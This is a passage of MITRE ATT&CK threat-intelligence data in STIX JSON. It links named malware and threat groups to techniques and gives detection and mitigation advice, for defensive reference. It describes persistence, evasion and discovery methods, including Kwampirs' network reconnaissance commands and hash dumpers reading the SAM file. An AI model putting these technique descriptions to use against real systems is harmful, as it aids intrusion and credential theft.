"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--cf52ce28-12ae-43d2-b68e-b688b9d6be47", "created": "2022-09-30T18:51:34.034Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-18T22:14:26.034Z", "description": "Monitor contextual data about a file that may highlight embedded payloads, which may include information such as name, the content (ex: signature, headers, or data/media), file size, etc.; correlate with other suspicious behavior to reduce false positives.  ", "relationship_type": "detects", "source_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", "target_ref": "attack-pattern--0533ab23-3f7d-463f-9bd8-634d27e4dee1", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cf546d75-f689-4033-83eb-40a3edd71877", "type": "relationship", "created": "2021-12-27T17:40:56.885Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Check Point Warzone Feb 2020", "url": "https://research.checkpoint.com/2020/warzone-behind-the-enemy-lines/", "description": "Harakhavik, Y. (2020, February 3). Warzone: Behind the enemy lines. Retrieved December 17, 2021."}], "modified": "2021-12-27T17:40:56.885Z", "description": "[WarzoneRAT](https://attack.mitre.org/software/S0670) has the ability of performing remote desktop access via a VNC console.(Citation: Check Point Warzone Feb 2020)", "relationship_type": "uses", "source_ref": "malware--fde19a18-e502-467f-be14-58c71b4e7f4b", "target_ref": "attack-pattern--01327cde-66c4-4123-bf34-5f258d59457b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--cf58d726-7674-4cdc-9ce1-9d7364aa4a0d", "created": "2022-07-14T17:36:06.383Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Korean FSI TA505 2020", "description": "Financial Security Institute. (2020, February 28). Profiling of TA505 Threat Group That Continues to Attack the Financial Sector. Retrieved July 14, 2022.", "url": "https://www.fsec.or.kr/user/bbs/fsec/163/344/bbsDataView/1382.do?page=1&column=&search=&searchSDate=&searchEDate=&bbsDataCategory="}, {"source_name": "BlackBerry Amadey 2020", "description": "Kasuya, M. (2020, January 8). Threat Spotlight: Amadey Bot Targets Non-Russian Users. Retrieved July 14, 2022.", "url": "https://blogs.blackberry.com/en/2020/01/threat-spotlight-amadey-bot"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-17T16:13:21.063Z", "description": "[Amadey](https://attack.mitre.org/software/S1025) has changed the Startup folder to the one containing its executable by overwriting the registry keys.(Citation: Korean FSI TA505 2020)(Citation: BlackBerry Amadey 2020)", "relationship_type": "uses", "source_ref": "malware--05318127-5962-444b-b900-a9dcfe0ff6e9", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cf60408f-5101-4cdf-935f-c5436071d6d0", "type": "relationship", "created": "2021-03-05T18:54:56.653Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Malwarebytes Higaisa 2020", "url": "https://blog.malwarebytes.com/threat-analysis/2020/06/higaisa/", "description": "Malwarebytes Threat Intelligence Team. (2020, June 4). New LNK attack tied to Higaisa APT discovered. Retrieved March 2, 2021."}, {"source_name": "Zscaler Higaisa 2020", "url": "https://www.zscaler.com/blogs/security-research/return-higaisa-apt", "description": "Singh, S. Singh, A. (2020, June 11). The Return on the Higaisa APT. Retrieved March 2, 2021."}], "modified": "2021-04-05T19:18:23.880Z", "description": "[Higaisa](https://attack.mitre.org/groups/G0126) named a shellcode loader binary <code>svchast.exe</code> to spoof the legitimate <code>svchost.exe</code>.(Citation: Malwarebytes Higaisa 2020)(Citation: Zscaler Higaisa 2020) ", "relationship_type": "uses", "source_ref": "intrusion-set--54dfec3e-6464-4f74-9d69-b7c817b7e5a3", "target_ref": "attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cf629c11-56bd-4804-a03a-311689060c85", "type": "relationship", "created": "2022-01-20T14:57:42.181Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CrowdStrike AQUATIC PANDA December 2021", "url": "https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/", "description": "Wiley, B. et al. (2021, December 29). OverWatch Exposes AQUATIC PANDA in Possession of Log4Shell Exploit Tools During Hands-on Intrusion Attempt. Retrieved January 18, 2022."}], "modified": "2022-01-20T14:57:42.181Z", "description": "[Aquatic Panda](https://attack.mitre.org/groups/G0143) has used native OS commands to understand privilege levels and system details.(Citation: CrowdStrike AQUATIC PANDA December 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--64b52e7d-b2c4-4a02-9372-08a463f5dc11", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cf63b75f-564f-4713-a5b3-1f102d098e8e", "type": "relationship", "created": "2019-10-17T19:25:21.088Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-07-09T14:02:05.452Z", "description": "Cloud service providers support IP-based restrictions when accessing cloud resources. Consider using IP allowlisting along with user account management to ensure that data access is restricted not only to valid users but only from expected IP ranges to mitigate the use of stolen credentials to access data.", "relationship_type": "mitigates", "source_ref": "course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d", "target_ref": "attack-pattern--3298ce88-1628-43b1-87d9-0b5336b193d7", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cf6c50a3-1de8-4fb4-8e8f-0a28b642824c", "type": "relationship", "created": "2022-03-30T14:26:51.864Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.864Z", "description": "Monitor systems for abnormal Python usage and python.exe behavior, which could be an indicator of malicious activity. Understanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent. Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor executed commands and arguments that may abuse Python commands and scripts for execution.", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--cf72062c-b62f-4127-b7e3-ac3f941a9599", "created": "2022-08-24T14:58:17.532Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Symantec Bumblebee June 2022", "description": "Kamble, V. (2022, June 28). Bumblebee: New Loader Rapidly Assuming Central Position in Cyber-crime Ecosystem. Retrieved August 24, 2022.", "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bumblebee-loader-cybercrime"}, {"source_name": "Proofpoint Bumblebee April 2022", "description": "Merriman, K. and Trouerbach, P. (2022, April 28). This isn't Optimus Prime's Bumblebee but it's Still Transforming. Retrieved August 22, 2022.", "url": "https://www.proofpoint.com/us/blog/threat-insight/bumblebee-is-still-transforming"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-06T14:21:05.588Z", "description": "[Bumblebee](https://attack.mitre.org/software/S1039) can achieve persistence by copying its DLL to a subdirectory of %APPDATA% and creating a Visual Basic Script that will load the DLL via a scheduled task.(Citation: Proofpoint Bumblebee April 2022)(Citation: Symantec Bumblebee June 2022)", "relationship_type": "uses", "source_ref": "malware--04378e79-4387-468a-a8f7-f974b8254e44", "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cf752570-48f5-40b6-b448-b4bc009ae5df", "type": "relationship", "created": "2021-03-26T13:32:03.360Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Check Point APT31 February 2021", "url": "https://research.checkpoint.com/2021/the-story-of-jian/", "description": "Itkin, E. and Cohen, I. (2021, February 22). The Story of Jian \u2013 How APT31 Stole and Used an Unknown Equation Group 0-Day. Retrieved March 24, 2021."}], "modified": "2021-03-26T13:32:03.360Z", "description": "[ZIRCONIUM](https://attack.mitre.org/groups/G0128) has exploited CVE-2017-0005 for local privilege escalation.(Citation: Check Point APT31 February 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--4283ae19-69c7-4347-a35e-b56f08eb660b", "target_ref": "attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cf8f6cd4-cd87-430b-b286-3790c5a97efa", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Proofpoint TA459 April 2017", "description": "Axel F. (2017, April 27). APT Targets Financial Analysts with CVE-2017-0199. Retrieved February 15, 2018.", "url": "https://www.proofpoint.com/us/threat-insight/post/apt-targets-financial-analysts"}, {"source_name": "Proofpoint ZeroT Feb 2017", "description": "Huss, D., et al. (2017, February 2). Oops, they did it again: APT Targets Russia and Belarus with ZeroT and PlugX. Retrieved April 5, 2018.", "url": "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"}], "modified": "2020-03-21T00:42:09.957Z", "description": "[ZeroT](https://attack.mitre.org/software/S0230) has used RC4 to encrypt C2 traffic.(Citation: Proofpoint TA459 April 2017)(Citation: Proofpoint ZeroT Feb 2017)", "relationship_type": "uses", "source_ref": "malware--4ab44516-ad75-4e43-a280-705dc0420e2f", "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--cf92a7c7-f14e-41f2-82dd-0d9544a125d3", "created": "2022-09-21T17:08:24.173Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Bitdefender FunnyDream Campaign November 2020", "description": "Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.", "url": "https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-10T16:51:32.232Z", "description": "During [FunnyDream](https://attack.mitre.org/campaigns/C0007), [Chinoxy](https://attack.mitre.org/software/S1041) was used to gain persistence and deploy other malware components.(Citation: Bitdefender FunnyDream Campaign November 2020)", "relationship_type": "uses", "source_ref": "campaign--8d2bc130-89fe-466e-a4f9-6bce6129c2b8", "target_ref": "malware--0b639373-5f03-430e-b8f9-2fe8c8faad8e", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--cf9e7512-c510-4605-9035-f60335c351f4", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "FireEye FIN7 April 2017", "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.", "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html"}, {"source_name": "DOJ FIN7 Aug 2018", "description": "Department of Justice. (2018, August 01). HOW FIN7 ATTACKED AND STOLE DATA. Retrieved August 24, 2018.", "url": "https://www.justice.gov/opa/press-release/file/1084361/download"}, {"source_name": "eSentire FIN7 July 2021", "description": "eSentire. (2021, July 21). Notorious Cybercrime Gang, FIN7, Lands Malware in Law Firm Using Fake Legal Complaint Against Jack Daniels\u2019 Owner, Brown-Forman Inc.. Retrieved September 20, 2021.", "url": "https://www.esentire.com/security-advisories/notorious-cybercrime-gang-fin7-lands-malware-in-law-firm-using-fake-legal-complaint-against-jack-daniels-owner-brown-forman-inc"}, {"source_name": "CrowdStrike Carbon Spider August 2021", "description": "Loui, E. and Reynolds, J. (2021, August 30). CARBON SPIDER Embraces Big Game Hunting, Part 1. Retrieved September 20, 2021.", "url": "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/"}, {"source_name": "Flashpoint FIN 7 March 2019", "description": "Platt, J. and Reeves, J.. (2019, March). FIN7 Revisited: Inside Astra Panel and SQLRat Malware. Retrieved June 18, 2019.", "url": "https://www.flashpoint-intel.com/blog/fin7-revisited-inside-astra-panel-and-sqlrat-malware/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-10-05T14:57:10.562Z", "description": "[FIN7](https://attack.mitre.org/groups/G0046) sent spearphishing emails with either malicious Microsoft Documents or RTF files attached.(Citation: FireEye FIN7 April 2017)(Citation: DOJ FIN7 Aug 2018)(Citation: Flashpoint FIN 7 March 2019)(Citation: eSentire FIN7 July 2021)(Citation: CrowdStrike Carbon Spider August 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc", "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cf9f6e3b-b029-4edd-b53d-7f5981bd2302", "type": "relationship", "created": "2020-05-27T21:22:18.518Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ClearSky Charming Kitten Dec 2017", "description": "ClearSky Cyber Security. (2017, December). Charming Kitten. Retrieved December 27, 2017.", "url": "http://www.clearskysec.com/wp-content/uploads/2017/12/Charming_Kitten_2017.pdf"}], "modified": "2020-05-27T21:22:18.518Z", "description": "(Citation: ClearSky Charming Kitten Dec 2017)", "relationship_type": "uses", "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", "target_ref": "malware--e48df773-7c95-4a4c-ba70-ea3d15900148", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cfa1709d-7927-4944-911f-ea75f89e3b71", "type": "relationship", "created": "2022-03-30T14:26:51.835Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.835Z", "description": "Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned DLLs try to load into the LSA by setting the Registry key <code>HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\LSASS.exe</code> with AuditLevel = 8. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)", "source_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", "target_ref": "attack-pattern--b8cfed42-6a8a-4989-ad72-541af74475ec", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Graeber 2014", "description": "Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017.", "url": "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html"}, {"source_name": "Microsoft Configure LSA", "description": "Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved June 24, 2015.", "url": "https://technet.microsoft.com/en-us/library/dn408187.aspx"}]}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cfa19bf2-af5e-4050-a3d9-fbd9684b867e", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Securelist Calisto July 2018", "description": "Kuzin, M., Zelensky S. (2018, July 20). Calisto Trojan for macOS. Retrieved September 7, 2018.", "url": "https://securelist.com/calisto-trojan-for-macos/86543/"}], "modified": "2020-03-17T23:36:02.771Z", "description": "[Calisto](https://attack.mitre.org/software/S0274)'s installation file is an unsigned DMG image under the guise of Intego\u2019s security solution for mac.(Citation: Securelist Calisto July 2018)", "relationship_type": "uses", "source_ref": "malware--b8fdef82-d2cf-4948-8949-6466357b1be1", "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cfa27aff-a836-4a65-a427-e253587cd0ad", "type": "relationship", "created": "2022-03-30T14:26:51.852Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.852Z", "description": "The Windows event logs, ex. Event ID 524 indicating a system catalog was deleted, may contain entries associated with suspicious activity.", "source_ref": "x-mitre-data-component--e905dad2-00d6-477c-97e8-800427abd0e8", "target_ref": "attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cfa38151-4972-4355-8071-dd36cb1be880", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec Orangeworm April 2018", "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.", "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia"}], "modified": "2020-03-18T00:52:18.837Z", "description": "[Kwampirs](https://attack.mitre.org/software/S0236) collects network adapter and interface information by using the commands <code>ipconfig /all</code>, <code>arp -a</code> and <code>route print</code>. It also collects the system's MAC address with <code>getmac</code> and domain configuration with <code>net config workstation</code>.(Citation: Symantec Orangeworm April 2018)", "relationship_type": "uses", "source_ref": "malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--cfae5caf-6084-4082-a2a4-8728ea424807", "created": "2023-10-12T21:11:03.635Z", "revoked": false, "external_references": [{"source_name": "Unit42 OceanLotus 2017", "description": "Erye Hernandez and Danny Tsechansky. (2017, June 22). The New and Improved macOS Backdoor from OceanLotus. Retrieved September 8, 2023.", "url": "https://unit42.paloaltonetworks.com/unit42-new-improved-macos-backdoor-oceanlotus/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-10-12T21:11:03.635Z", "description": "[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) has used AES in CBC mode to encrypt collected data when saving that data to disk.(Citation: Unit42 OceanLotus 2017)", "relationship_type": "uses", "source_ref": "malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29", "target_ref": "attack-pattern--143c0cbb-a297-4142-9624-87ffc778980b", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cfaf6b8e-1ee0-40bf-8a60-27f9c68d86c5", "type": "relationship", "created": "2020-05-14T22:29:26.004Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "McAfee Sharpshooter December 2018", "url": "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-sharpshooter.pdf", "description": "Sherstobitoff, R., Malhotra, A., et. al.. (2018, December 18). Operation Sharpshooter Campaign Targets Global Defense, Critical Infrastructure. Retrieved May 14, 2020."}], "modified": "2020-06-23T00:42:36.379Z", "description": "[Rising Sun](https://attack.mitre.org/software/S0448) can enumerate information about files from the infected system, including file size, attributes, creation time, last access time, and write time. [Rising Sun](https://attack.mitre.org/software/S0448) can enumerate the compilation timestamp of Windows executable files.(Citation: McAfee Sharpshooter December 2018)\t", "relationship_type": "uses", "source_ref": "malware--56e6b6c2-e573-4969-8bab-783205cebbbf", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cfb05b57-626c-474a-9678-3a0746d68276", "type": "relationship", "created": "2022-03-30T14:26:51.847Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.847Z", "description": "Monitor for newly constructed network connections that are sent or received by untrusted hosts. ", "source_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", "target_ref": "attack-pattern--8e350c1d-ac79-4b5c-bd4e-7476d7e84ec5", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cfb4c18a-d76e-47fd-a89b-a4b4fce1c643", "type": "relationship", "created": "2019-03-25T11:40:59.057Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Microsoft SDelete July 2016", "description": "Russinovich, M. (2016, July 4). SDelete v2.0. Retrieved February 8, 2018.", "url": "https://docs.microsoft.com/en-us/sysinternals/downloads/sdelete"}], "modified": "2019-04-24T00:37:08.781Z", "description": "[SDelete](https://attack.mitre.org/software/S0195) deletes data in a way that makes it unrecoverable.(Citation: Microsoft SDelete July 2016)", "relationship_type": "uses", "source_ref": "tool--d8d19e33-94fd-4aa3-b94a-08ee801a2153", "target_ref": "attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cfb7e335-e7a3-4dc3-91b8-70381a888222", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.group-ib.com/blog/cobalt", "description": "Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.", "source_name": "Group IB Cobalt Aug 2017"}], "modified": "2020-03-20T23:11:51.513Z", "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) has used the Plink utility to create SSH tunnels.(Citation: Group IB Cobalt Aug 2017)", "relationship_type": "uses", "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", "target_ref": "attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--cfba6051-3ed3-49f6-96de-d6af053dce81", "created": "2022-03-30T14:26:51.858Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Monitor for hash dumpers opening the Security Accounts Manager (SAM) on the local file system (<code>%SystemRoot%/system32/config/SAM</code>). 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Retrieved May 21, 2020."}, {"source_name": "Volexity InkySquid RokRAT August 2021", "url": "https://www.volexity.com/blog/2021/08/24/north-korean-bluelight-special-inkysquid-deploys-rokrat/", "description": "Cash, D., Grunzweig, J., Adair, S., Lancaster, T. (2021, August 25). North Korean BLUELIGHT Special: InkySquid Deploys RokRAT. Retrieved October 1, 2021."}, {"source_name": "Malwarebytes RokRAT VBA January 2021", "url": "https://blog.malwarebytes.com/threat-analysis/2021/01/retrohunting-apt37-north-korean-apt-used-vba-self-decode-technique-to-inject-rokrat/", "description": "Jazi, Hossein. (2021, January 6). Retrohunting APT37: North Korean APT used VBA self decode technique to inject RokRat. Retrieved March 22, 2022."}], "modified": "2022-03-22T20:09:04.817Z", "description": "[ROKRAT](https://attack.mitre.org/software/S0240) can gather the hostname and the OS version to ensure it doesn\u2019t run on a Windows XP or Windows Server 2003 systems.(Citation: Talos ROKRAT)(Citation: Talos ROKRAT 2)(Citation: Securelist ScarCruft May 2019)(Citation: NCCGroup RokRat Nov 2018)(Citation: Volexity InkySquid RokRAT August 2021)(Citation: Malwarebytes RokRAT VBA January 2021)", "relationship_type": "uses", "source_ref": "malware--60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--cfcd06e3-36a3-4c83-b6a5-4dcdd4b4668e", "created": "2022-03-30T14:26:51.835Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Monitor for unexpected files (e.g., .pdf, .docx, .jpg, etc.) viewed for collecting internal data.", "modified": "2022-07-25T16:57:52.785Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cfd59aac-dca4-4453-89eb-95e6871fe759", "type": "relationship", "created": "2022-03-30T14:26:51.860Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.860Z", "description": "Monitor requests of new ticket granting ticket or service tickets to a Domain Controller. Event ID 4769 is generated on the Domain Controller when using a golden ticket after the KRBTGT password has been reset twice, as mentioned in the mitigation section. The status code 0x1F indicates the action has failed due to \"Integrity check on decrypted field failed\" and indicates misuse by a previously invalidated golden ticket.(Citation: CERT-EU 